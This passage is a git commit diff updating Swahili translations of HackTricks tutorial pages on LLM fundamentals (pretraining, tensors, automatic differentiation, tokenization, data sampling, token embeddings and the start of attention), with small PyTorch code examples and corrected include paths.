mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/
This commit is contained in:
parent
58b8ba47fc
commit
a7fb88f84f
@ -1,21 +1,21 @@
|
||||
# 0. Basic LLM Concepts
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pretraining
|
||||
|
||||
Pretraining ni hatua ya msingi katika kuendeleza mfano mkubwa wa lugha (LLM) ambapo mfano unakabiliwa na kiasi kikubwa na tofauti za data za maandiko. Wakati wa hatua hii, **LLM inajifunza muundo wa msingi, mifumo, na nuances za lugha**, ikiwa ni pamoja na sarufi, msamiati, sintaksia, na uhusiano wa muktadha. Kwa kuchakata data hii kubwa, mfano unapata uelewa mpana wa lugha na maarifa ya jumla ya ulimwengu. Msingi huu wa kina unamwezesha LLM kuzalisha maandiko yanayofaa na yanayohusiana na muktadha. Baadaye, mfano huu wa awali unaweza kupitia mchakato wa kuboresha, ambapo unafundishwa zaidi kwenye seti maalum za data ili kubadilisha uwezo wake kwa kazi au maeneo maalum, kuboresha utendaji wake na umuhimu katika matumizi yaliyokusudiwa.
|
||||
Pretraining ni hatua ya msingi katika kuendeleza mfano mkubwa wa lugha (LLM) ambapo mfano unakabiliwa na kiasi kikubwa na tofauti za data za maandiko. Wakati wa hatua hii, **LLM inajifunza muundo wa msingi, mifumo, na nuances za lugha**, ikiwa ni pamoja na sarufi, msamiati, sintaksia, na uhusiano wa muktadha. Kwa kuchakata data hii kubwa, mfano unapata uelewa mpana wa lugha na maarifa ya jumla ya ulimwengu. Msingi huu wa kina unamwezesha LLM kutoa maandiko yanayofaa na yanayohusiana na muktadha. Baadaye, mfano huu wa awali unaweza kupitia mchakato wa kuboresha, ambapo unafundishwa zaidi kwenye seti maalum za data ili kubadilisha uwezo wake kwa kazi au maeneo maalum, kuboresha utendaji wake na umuhimu katika matumizi yaliyokusudiwa.
|
||||
|
||||
## Main LLM components
|
||||
|
||||
Kawaida LLM inajulikana kwa usanidi unaotumika kuifundisha. Hizi ndizo sehemu za kawaida wakati wa kufundisha LLM:
|
||||
|
||||
- **Parameters**: Parameters ni **uzito na upendeleo unaoweza kujifunza** katika mtandao wa neva. Hizi ni nambari ambazo mchakato wa mafunzo unarekebisha ili kupunguza kazi ya hasara na kuboresha utendaji wa mfano kwenye kazi. LLMs kawaida hutumia mamilioni ya parameters.
|
||||
- **Parameters**: Parameters ni **uzito na upendeleo unaoweza kujifunza** katika mtandao wa neva. Hizi ni nambari ambazo mchakato wa mafunzo unarekebisha ili kupunguza kazi ya kupoteza na kuboresha utendaji wa mfano kwenye kazi. LLMs kawaida hutumia mamilioni ya parameters.
|
||||
- **Context Length**: Hii ni urefu wa juu wa kila sentensi inayotumika kujiandaa LLM.
|
||||
- **Embedding Dimension**: Ukubwa wa vector inayotumika kuwakilisha kila token au neno. LLMs kawaida hutumia bilioni za dimensions.
|
||||
- **Hidden Dimension**: Ukubwa wa tabaka zilizofichwa katika mtandao wa neva.
|
||||
- **Number of Layers (Depth)**: Idadi ya tabaka ambazo mfano unazo. LLMs kawaida hutumia makumi ya tabaka.
|
||||
- **Number of Attention Heads**: Katika mifano ya transformer, hii ni idadi ya mitambo tofauti ya umakini inayotumika katika kila tabaka. LLMs kawaida hutumia makumi ya vichwa.
|
||||
- **Number of Layers (Depth)**: Ni tabaka ngapi mfano unao. LLMs kawaida hutumia tabaka kumi.
|
||||
- **Number of Attention Heads**: Katika mifano ya transformer, hii ni idadi ya mitambo tofauti ya umakini inayotumika katika kila tabaka. LLMs kawaida hutumia vichwa vingi.
|
||||
- **Dropout**: Dropout ni kama asilimia ya data inayondolewa (uwezekano unakuwa 0) wakati wa mafunzo inayotumika **kuzuia overfitting.** LLMs kawaida hutumia kati ya 0-20%.
|
||||
|
||||
Configuration of the GPT-2 model:
|
||||
@ -36,10 +36,10 @@ Katika PyTorch, **tensor** ni muundo wa data wa msingi unaotumikia kama array ya
|
||||
|
||||
### Dhana ya Kihesabu ya Tensors
|
||||
|
||||
- **Scalars**: Tensors za kiwango 0, zinazoakisi nambari moja (dimensional sifuri). Kama: 5
|
||||
- **Vectors**: Tensors za kiwango 1, zinazoakisi array ya nambari za dimensional moja. Kama: \[5,1]
|
||||
- **Matrices**: Tensors za kiwango 2, zinazoakisi arrays za dimensional mbili zikiwa na safu na nguzo. Kama: \[\[1,3], \[5,2]]
|
||||
- **Tensors za Kiwango cha Juu**: Tensors za kiwango 3 au zaidi, zinazoakisi data katika vipimo vya juu (mfano, tensors za 3D kwa picha za rangi).
|
||||
- **Scalars**: Tensors za kiwango cha 0, zinazoakisi nambari moja (dimensional sifuri). Kama: 5
|
||||
- **Vectors**: Tensors za kiwango cha 1, zinazoakisi array ya nambari za dimensional moja. Kama: \[5,1]
|
||||
- **Matrices**: Tensors za kiwango cha 2, zinazoakisi arrays za dimensional mbili zikiwa na safu na nguzo. Kama: \[\[1,3], \[5,2]]
|
||||
- **Tensors za Kiwango cha Juu**: Tensors za kiwango cha 3 au zaidi, zinazoakisi data katika vipimo vya juu (mfano, tensors za 3D kwa picha za rangi).
|
||||
|
||||
### Tensors kama Vifungashio vya Data
|
||||
|
||||
@ -127,13 +127,13 @@ Tensors ni muhimu katika PyTorch kwa ajili ya kujenga na kufundisha mitandao ya
|
||||
|
||||
## Automatic Differentiation
|
||||
|
||||
Automatic differentiation (AD) ni mbinu ya kihesabu inayotumika **kuthibitisha derivatives (gradients)** za kazi kwa ufanisi na kwa usahihi. Katika muktadha wa mitandao ya neva, AD inawezesha hesabu ya gradients zinazohitajika kwa **algorithimu za optimization kama gradient descent**. PyTorch inatoa injini ya automatic differentiation inayoitwa **autograd** ambayo inarahisisha mchakato huu.
|
||||
Automatic differentiation (AD) ni mbinu ya kompyuta inayotumika **kuthibitisha derivatives (gradients)** za kazi kwa ufanisi na kwa usahihi. Katika muktadha wa mitandao ya neva, AD inawezesha hesabu ya gradients zinazohitajika kwa **algorithimu za optimization kama gradient descent**. PyTorch inatoa injini ya utofautishaji wa moja kwa moja inayoitwa **autograd** ambayo inarahisisha mchakato huu.
|
||||
|
||||
### Mathematical Explanation of Automatic Differentiation
|
||||
|
||||
**1. The Chain Rule**
|
||||
|
||||
Katika msingi wa automatic differentiation ni **chain rule** kutoka calculus. Chain rule inasema kwamba ikiwa una muundo wa kazi, derivative ya kazi iliyounganishwa ni bidhaa ya derivatives za kazi zilizounganishwa.
|
||||
Katika msingi wa utofautishaji wa moja kwa moja ni **chain rule** kutoka kwa calculus. Chain rule inasema kwamba ikiwa una muundo wa kazi, derivative ya kazi iliyounganishwa ni bidhaa ya derivatives za kazi zilizounganishwa.
|
||||
|
||||
Kihesabu, ikiwa `y=f(u)` na `u=g(x)`, basi derivative ya `y` kwa heshima na `x` ni:
|
||||
|
||||
@ -167,7 +167,7 @@ Tunataka kuhesabu gradient ya hasara `L` kwa heshima na uzito `w` na bias `b`.
|
||||
|
||||
### Implementing Automatic Differentiation in PyTorch
|
||||
|
||||
Sasa, hebu tuone jinsi PyTorch inavyofanya mchakato huu kuwa wa kiotomatiki.
|
||||
Sasa, hebu tuone jinsi PyTorch inavyofanya mchakato huu kuwa wa moja kwa moja.
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
import torch.nn.functional as F
|
||||
@ -213,7 +213,7 @@ Katika mitandao mikubwa ya neural yenye tabaka nyingi, mchakato wa kuhesabu grad
|
||||
- **Hatua ya 2:** Kwa kila mfano wa mafunzo, fanya forward pass ili kuhesabu matokeo.
|
||||
- **Hatua ya 3:** Hesabu hasara.
|
||||
- **Hatua ya 4:** Hesabu gradients za hasara kuhusiana na kila parameter kwa kutumia sheria ya mnyororo.
|
||||
- **Hatua ya 5:** Sasisha vigezo kwa kutumia algorithm ya uboreshaji (mfano, gradient descent).
|
||||
- **Hatua ya 5:** Sasisha vigezo kwa kutumia algorithm ya kuboresha (mfano, gradient descent).
|
||||
|
||||
### **3. Uwiano wa Kihesabu**
|
||||
|
||||
@ -277,13 +277,13 @@ Katika msimbo huu:
|
||||
Wakati wa backward pass:
|
||||
|
||||
- PyTorch inatembea kwenye grafu ya hesabu kwa mpangilio wa kinyume.
|
||||
- Kwa kila operesheni, inatumia sheria ya mnyororo kukadiria gradients.
|
||||
- Kila operesheni, inatumia sheria ya mnyororo kukadiria gradients.
|
||||
- Gradients zinakusanywa katika sifa ya `.grad` ya kila tensor ya parameter.
|
||||
|
||||
### **6. Faida za Tofauti Otomatiki**
|
||||
### **6. Faida za Tofauti za Otomatiki**
|
||||
|
||||
- **Ufanisi:** Inakwepa hesabu zisizo za lazima kwa kutumia matokeo ya kati.
|
||||
- **Usahihi:** Inatoa derivatives sahihi hadi usahihi wa mashine.
|
||||
- **Urahisi wa Matumizi:** Inondoa hesabu za mikono za derivatives.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 1. Tokenizing
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokenizing
|
||||
|
||||
@ -9,71 +9,71 @@
|
||||
> [!TIP]
|
||||
> Lengo la awamu hii ya awali ni rahisi sana: **Gawanya ingizo katika tokens (ids) kwa njia ambayo ina maana**.
|
||||
|
||||
### **Jinsi Tokenizing Inavyofanya Kazi**
|
||||
### **How Tokenizing Works**
|
||||
|
||||
1. **Kugawanya Maandishi:**
|
||||
1. **Splitting the Text:**
|
||||
- **Basic Tokenizer:** Tokenizer rahisi inaweza kugawanya maandiko katika maneno binafsi na alama za uakifishaji, ikiondoa nafasi.
|
||||
- _Mfano:_\
|
||||
Maandishi: `"Hello, world!"`\
|
||||
- _Example:_\
|
||||
Text: `"Hello, world!"`\
|
||||
Tokens: `["Hello", ",", "world", "!"]`
|
||||
2. **Kuunda Kamusi:**
|
||||
- Ili kubadilisha tokens kuwa IDs za nambari, **kamusi** inaundwa. Kamusi hii inataja tokens zote za kipekee (maneno na alama) na inatoa kila moja ID maalum.
|
||||
- **Tokens Maalum:** Hizi ni alama maalum zilizoongezwa kwenye kamusi ili kushughulikia hali mbalimbali:
|
||||
- `[BOS]` (Mwanzo wa Mfululizo): Inaonyesha mwanzo wa maandiko.
|
||||
- `[EOS]` (Mwisho wa Mfululizo): Inaonyesha mwisho wa maandiko.
|
||||
2. **Creating a Vocabulary:**
|
||||
- Ili kubadilisha tokens kuwa IDs za nambari, **vocabulary** inaundwa. Vocabulary hii inataja tokens zote za kipekee (maneno na alama) na inawapa kila mmoja ID maalum.
|
||||
- **Special Tokens:** Hizi ni alama maalum zilizoongezwa kwenye vocabulary ili kushughulikia hali mbalimbali:
|
||||
- `[BOS]` (Beginning of Sequence): Inaashiria mwanzo wa maandiko.
|
||||
- `[EOS]` (End of Sequence): Inaashiria mwisho wa maandiko.
|
||||
- `[PAD]` (Padding): Inatumika kufanya mfuatano wote katika kundi kuwa na urefu sawa.
|
||||
- `[UNK]` (Haijulikani): Inawakilisha tokens ambazo hazipo kwenye kamusi.
|
||||
- _Mfano:_\
|
||||
- `[UNK]` (Unknown): Inawakilisha tokens ambazo hazipo katika vocabulary.
|
||||
- _Example:_\
|
||||
Ikiwa `"Hello"` inapata ID `64`, `","` ni `455`, `"world"` ni `78`, na `"!"` ni `467`, basi:\
|
||||
`"Hello, world!"` → `[64, 455, 78, 467]`
|
||||
- **Kushughulikia Maneno Yasiyojulikana:**\
|
||||
Ikiwa neno kama `"Bye"` halipo kwenye kamusi, linabadilishwa na `[UNK]`.\
|
||||
- **Handling Unknown Words:**\
|
||||
Ikiwa neno kama `"Bye"` halipo katika vocabulary, linabadilishwa na `[UNK]`.\
|
||||
`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Kukisia `[UNK]` ina ID `987`)_
|
||||
|
||||
### **Mbinu za Juu za Tokenizing**
|
||||
### **Advanced Tokenizing Methods**
|
||||
|
||||
Wakati tokenizer ya msingi inafanya kazi vizuri kwa maandiko rahisi, ina mipaka, hasa na kamusi kubwa na kushughulikia maneno mapya au nadra. Mbinu za juu za tokenizing zinashughulikia masuala haya kwa kugawanya maandiko katika sehemu ndogo au kuboresha mchakato wa tokenization.
|
||||
Wakati tokenizer ya msingi inafanya kazi vizuri kwa maandiko rahisi, ina mipaka, hasa na vocabularies kubwa na kushughulikia maneno mapya au nadra. Mbinu za hali ya juu za tokenizing zinashughulikia masuala haya kwa kugawanya maandiko katika sehemu ndogo au kuboresha mchakato wa tokenization.
|
||||
|
||||
1. **Byte Pair Encoding (BPE):**
|
||||
- **Madhumuni:** Inapunguza ukubwa wa kamusi na inashughulikia maneno nadra au yasiyojulikana kwa kuyagawanya katika jozi za byte zinazotokea mara kwa mara.
|
||||
- **Jinsi Inavyofanya Kazi:**
|
||||
- **Purpose:** Inapunguza ukubwa wa vocabulary na inashughulikia maneno nadra au yasiyojulikana kwa kuyagawanya katika jozi za byte zinazotokea mara kwa mara.
|
||||
- **How It Works:**
|
||||
- Inaanza na wahusika binafsi kama tokens.
|
||||
- Inachanganya kwa hatua jozi za tokens zinazotokea mara nyingi zaidi kuwa token moja.
|
||||
- Inaendelea hadi hakuna jozi za mara nyingi zaidi zinazoweza kuchanganywa.
|
||||
- **Faida:**
|
||||
- Inaendelea hadi hakuna jozi za mara kwa mara zaidi zinazoweza kuchanganywa.
|
||||
- **Benefits:**
|
||||
- Inafuta hitaji la token ya `[UNK]` kwani maneno yote yanaweza kuwakilishwa kwa kuunganisha tokens za subword zilizopo.
|
||||
- Kamusi yenye ufanisi na inayoweza kubadilika.
|
||||
- _Mfano:_\
|
||||
`"playing"` inaweza kutokenizwa kama `["play", "ing"]` ikiwa `"play"` na `"ing"` ni subwords zinazotokea mara nyingi.
|
||||
- Vocabulary yenye ufanisi zaidi na inayoweza kubadilika.
|
||||
- _Example:_\
|
||||
`"playing"` inaweza kutokenizwa kama `["play", "ing"]` ikiwa `"play"` na `"ing"` ni subwords zinazotokea mara kwa mara.
|
||||
2. **WordPiece:**
|
||||
- **Inatumika Na:** Mifano kama BERT.
|
||||
- **Madhumuni:** Kama BPE, inagawanya maneno katika vitengo vya subword ili kushughulikia maneno yasiyojulikana na kupunguza ukubwa wa kamusi.
|
||||
- **Jinsi Inavyofanya Kazi:**
|
||||
- Inaanza na kamusi ya msingi ya wahusika binafsi.
|
||||
- **Used By:** Mifano kama BERT.
|
||||
- **Purpose:** Kama BPE, inagawanya maneno katika vitengo vya subword ili kushughulikia maneno yasiyojulikana na kupunguza ukubwa wa vocabulary.
|
||||
- **How It Works:**
|
||||
- Inaanza na vocabulary ya msingi ya wahusika binafsi.
|
||||
- Inajumuisha kwa hatua subword inayotokea mara nyingi zaidi ambayo inaboresha uwezekano wa data ya mafunzo.
|
||||
- Inatumia mfano wa uwezekano kuamua ni subwords zipi za kuunganisha.
|
||||
- **Faida:**
|
||||
- Inafanya usawa kati ya kuwa na ukubwa wa kamusi unaoweza kudhibitiwa na kuwakilisha maneno kwa ufanisi.
|
||||
- **Benefits:**
|
||||
- Inaleta usawa kati ya kuwa na ukubwa wa vocabulary unaoweza kudhibitiwa na kuwakilisha maneno kwa ufanisi.
|
||||
- Inashughulikia kwa ufanisi maneno nadra na ya mchanganyiko.
|
||||
- _Mfano:_\
|
||||
`"unhappiness"` inaweza kutokenizwa kama `["un", "happiness"]` au `["un", "happy", "ness"]` kulingana na kamusi.
|
||||
- _Example:_\
|
||||
`"unhappiness"` inaweza kutokenizwa kama `["un", "happiness"]` au `["un", "happy", "ness"]` kulingana na vocabulary.
|
||||
3. **Unigram Language Model:**
|
||||
- **Inatumika Na:** Mifano kama SentencePiece.
|
||||
- **Madhumuni:** Inatumia mfano wa uwezekano kubaini seti inayowezekana zaidi ya tokens za subword.
|
||||
- **Jinsi Inavyofanya Kazi:**
|
||||
- Inaanza na seti kubwa ya tokens zinazoweza.
|
||||
- **Used By:** Mifano kama SentencePiece.
|
||||
- **Purpose:** Inatumia mfano wa uwezekano kubaini seti inayowezekana zaidi ya tokens za subword.
|
||||
- **How It Works:**
|
||||
- Inaanza na seti kubwa ya tokens zinazoweza kuwa.
|
||||
- Inafuta kwa hatua tokens ambazo haziboresha uwezekano wa mfano wa data ya mafunzo.
|
||||
- Inakamilisha kamusi ambapo kila neno linawakilishwa na vitengo vya subword vinavyoweza zaidi.
|
||||
- **Faida:**
|
||||
- Inakamilisha vocabulary ambapo kila neno linawakilishwa na vitengo vya subword vinavyoweza kuwa na uwezekano zaidi.
|
||||
- **Benefits:**
|
||||
- Inaweza kubadilika na inaweza kuunda lugha kwa njia ya asili zaidi.
|
||||
- Mara nyingi inasababisha tokenizations zenye ufanisi na zenye compact.
|
||||
- _Mfano:_\
|
||||
- _Example:_\
|
||||
`"internationalization"` inaweza kutokenizwa katika subwords ndogo zenye maana kama `["international", "ization"]`.
|
||||
|
||||
## Code Example
|
||||
|
||||
Tuchunguze hili kwa karibu kutoka kwa mfano wa msimbo kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
@ -97,4 +97,4 @@ print(token_ids[:50])
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,28 +1,28 @@
|
||||
# 2. Data Sampling
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Data Sampling**
|
||||
|
||||
**Data Sampling** ni mchakato muhimu katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT. Inahusisha kuandaa data ya maandiko katika mfuatano wa ingizo na malengo ambayo mfano hutumia kujifunza jinsi ya kutabiri neno linalofuata (au token) kulingana na maneno yaliyotangulia. Uwekaji sahihi wa sampuli za data unahakikisha kwamba mfano unapata kwa ufanisi mifumo ya lugha na utegemezi.
|
||||
**Data Sampling** ni mchakato muhimu katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT. Inahusisha kuandaa data ya maandiko katika mfuatano wa ingizo na malengo ambayo mfano hutumia kujifunza jinsi ya kutabiri neno linalofuata (au token) kulingana na maneno yaliyotangulia. Uwekaji sahihi wa data unahakikisha kwamba mfano unapata kwa ufanisi mifumo ya lugha na utegemezi.
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la awamu hii ya pili ni rahisi sana: **Sampuli ya data ya ingizo na kuandaa kwa ajili ya awamu ya mafunzo kwa kawaida kwa kutenganisha dataset katika sentensi za urefu maalum na pia kuzalisha jibu linalotarajiwa.**
|
||||
> Lengo la awamu hii ya pili ni rahisi sana: **Chukua sampuli ya data ya ingizo na uiandaa kwa ajili ya awamu ya mafunzo kwa kawaida kwa kutenganisha dataset katika sentensi za urefu maalum na pia kuzalisha jibu linalotarajiwa.**
|
||||
|
||||
### **Kwa Nini Uwekaji Sampuli wa Data Ni Muhimu**
|
||||
### **Kwa Nini Uwekaji Data ni Muhimu**
|
||||
|
||||
LLMs kama GPT zinafundishwa kuzalisha au kutabiri maandiko kwa kuelewa muktadha unaotolewa na maneno ya awali. Ili kufikia hili, data ya mafunzo lazima iwe na muundo ambao mfano unaweza kujifunza uhusiano kati ya mfuatano wa maneno na maneno yao yanayofuata. Njia hii iliyopangwa inaruhusu mfano kuweza kujumlisha na kuzalisha maandiko yanayofaa na yanayohusiana na muktadha.
|
||||
LLMs kama GPT zinafundishwa kuzalisha au kutabiri maandiko kwa kuelewa muktadha unaotolewa na maneno ya awali. Ili kufikia hili, data ya mafunzo inapaswa kuandaliwa kwa njia ambayo mfano unaweza kujifunza uhusiano kati ya mfuatano wa maneno na maneno yao yanayofuata. Njia hii iliyopangwa inaruhusu mfano kuweza kujumlisha na kuzalisha maandiko yanayoeleweka na yanayohusiana na muktadha.
|
||||
|
||||
### **Mifano Muhimu katika Uwekaji Sampuli wa Data**
|
||||
### **Mifano Muhimu katika Uwekaji Data**
|
||||
|
||||
1. **Tokenization:** Kugawanya maandiko katika vitengo vidogo vinavyoitwa tokens (mfano, maneno, subwords, au wahusika).
|
||||
2. **Urefu wa Mfuatano (max_length):** Idadi ya tokens katika kila mfuatano wa ingizo.
|
||||
3. **Sliding Window:** Njia ya kuunda mfuatano wa ingizo unaoshirikiana kwa kusogeza dirisha juu ya maandiko yaliyotolewa tokens.
|
||||
4. **Stride:** Idadi ya tokens ambazo dirisha linalosogea linahamia mbele ili kuunda mfuatano unaofuata.
|
||||
4. **Stride:** Idadi ya tokens ambayo dirisha linasogea mbele ili kuunda mfuatano unaofuata.
|
||||
|
||||
### **Mfano wa Hatua kwa Hatua**
|
||||
|
||||
Hebu tupitie mfano ili kuonyesha uwekaji sampuli wa data.
|
||||
Hebu tupitie mfano ili kuonyesha uwekaji data.
|
||||
|
||||
**Mfano wa Maandishi**
|
||||
```arduino
|
||||
@ -91,7 +91,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
|
||||
|
||||
**Example with Stride of 2:**
|
||||
|
||||
Kwa kutumia maandiko yaliyotolewa na `max_length` ya 4:
|
||||
Using the same tokenized text and `max_length` of 4:
|
||||
|
||||
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
|
||||
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
|
||||
@ -99,7 +99,7 @@ Kwa kutumia maandiko yaliyotolewa na `max_length` ya 4:
|
||||
|
||||
## Code Example
|
||||
|
||||
Tuelewe hili vizuri kutoka kwa mfano wa msimbo kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download the text to pre-train the LLM
|
||||
import urllib.request
|
||||
@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807],
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 3. Token Embeddings
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Baada ya kutenganisha data ya maandiko, hatua inayofuata muhimu katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT ni kuunda **token embeddings**. Token embeddings hubadilisha token zisizo na muundo (kama vile maneno au sehemu za maneno) kuwa vectors za nambari zinazoendelea ambazo mfano unaweza kushughulikia na kujifunza kutoka kwazo. Maelezo haya yanabainisha token embeddings, uanzishaji wao, matumizi, na jukumu la positional embeddings katika kuboresha uelewa wa mfano wa mfuatano wa token.
|
||||
Baada ya kutenganisha data ya maandiko, hatua muhimu inayofuata katika kuandaa data kwa ajili ya mafunzo ya mifano mikubwa ya lugha (LLMs) kama GPT ni kuunda **token embeddings**. Token embeddings hubadilisha token zisizo na muundo (kama vile maneno au maneno ya sehemu) kuwa vector za nambari zinazoendelea ambazo mfano unaweza kushughulikia na kujifunza kutoka kwazo. Maelezo haya yanabainisha token embeddings, uanzishaji wao, matumizi, na jukumu la positional embeddings katika kuboresha uelewa wa mfano wa mfuatano wa token.
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la awamu hii ya tatu ni rahisi sana: **Patia kila moja ya token zilizopita katika msamiati vector ya vipimo vinavyotakiwa ili kufundisha mfano.** Kila neno katika msamiati litakuwa na pointi katika nafasi ya vipimo X.\
|
||||
@ -14,9 +14,9 @@ Baada ya kutenganisha data ya maandiko, hatua inayofuata muhimu katika kuandaa d
|
||||
|
||||
### **What Are Token Embeddings?**
|
||||
|
||||
**Token Embeddings** ni uwakilishi wa nambari wa token katika nafasi ya vector inayoendelea. Kila token katika msamiati inahusishwa na vector ya kipekee ya vipimo vilivyowekwa. Vectors hizi zinakamata taarifa za semantiki na sintaksia kuhusu token, na kuwezesha mfano kuelewa uhusiano na mifumo katika data.
|
||||
**Token Embeddings** ni uwakilishi wa nambari wa token katika nafasi ya vector inayoendelea. Kila token katika msamiati inahusishwa na vector ya kipekee ya vipimo vilivyowekwa. Vectors hizi zinakamata taarifa za maana na sintaksia kuhusu token, na kuwezesha mfano kuelewa uhusiano na mifumo katika data.
|
||||
|
||||
- **Ukubwa wa Msamiati:** Jumla ya idadi ya token za kipekee (mfano, maneno, sehemu za maneno) katika msamiati wa mfano.
|
||||
- **Ukubwa wa Msamiati:** Jumla ya token za kipekee (k.m., maneno, maneno ya sehemu) katika msamiati wa mfano.
|
||||
- **Vipimo vya Embedding:** Idadi ya thamani za nambari (vipimo) katika vector ya kila token. Vipimo vya juu vinaweza kukamata taarifa za kina zaidi lakini vinahitaji rasilimali zaidi za kompyuta.
|
||||
|
||||
**Mfano:**
|
||||
@ -70,7 +70,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
**Tafsiri:**
|
||||
|
||||
- Token katika index `3` inawakilishwa na vector `[-0.4015, 0.9666, -1.1481]`.
|
||||
- Hizi ni thamani zinazoweza kufundishwa ambazo modeli itazirekebisha wakati wa mafunzo ili kuwakilisha muktadha na maana ya token vizuri zaidi.
|
||||
- Thamani hizi ni vigezo vinavyoweza kufundishwa ambavyo modeli itarekebisha wakati wa mafunzo ili kuwakilisha muktadha na maana ya token vizuri zaidi.
|
||||
|
||||
### **Jinsi Token Embeddings Zinavyofanya Kazi Wakati wa Mafunzo**
|
||||
|
||||
@ -159,11 +159,11 @@ Combined Embedding = Token Embedding + Positional Embedding
|
||||
**Faida za Positional Embeddings:**
|
||||
|
||||
- **Uelewa wa Muktadha:** Mfano unaweza kutofautisha kati ya tokens kulingana na nafasi zao.
|
||||
- **Uelewa wa Mfululizo:** Inamwezesha mfano kuelewa sarufi, sintaksia, na maana zinazotegemea muktadha.
|
||||
- **Uelewa wa Mfuatano:** Inamwezesha mfano kuelewa sarufi, sintaksia, na maana zinazotegemea muktadha.
|
||||
|
||||
## Mfano wa Kanuni
|
||||
|
||||
Ikifuatiwa na mfano wa kanuni kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Ifuatayo ni mfano wa kanuni kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 4. Attention Mechanisms
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Attention Mechanisms and Self-Attention in Neural Networks
|
||||
|
||||
Mekanismu za umakini huruhusu mitandao ya neva ku **zingatia sehemu maalum za ingizo wakati wa kuzalisha kila sehemu ya pato**. Wanatoa uzito tofauti kwa ingizo tofauti, wakisaidia mfano kuamua ni ingizo gani lina umuhimu zaidi kwa kazi inayofanywa. Hii ni muhimu katika kazi kama tafsiri ya mashine, ambapo kuelewa muktadha wa sentensi nzima ni muhimu kwa tafsiri sahihi.
|
||||
Mekanismu za umakini huruhusu mitandao ya neva **kuzingatia sehemu maalum za ingizo wakati wa kuzalisha kila sehemu ya pato**. Wanatoa uzito tofauti kwa ingizo tofauti, wakisaidia mfano kuamua ni ingizo gani lina umuhimu zaidi kwa kazi inayofanywa. Hii ni muhimu katika kazi kama tafsiri ya mashine, ambapo kuelewa muktadha wa sentensi nzima ni muhimu kwa tafsiri sahihi.
|
||||
|
||||
> [!TIP]
|
||||
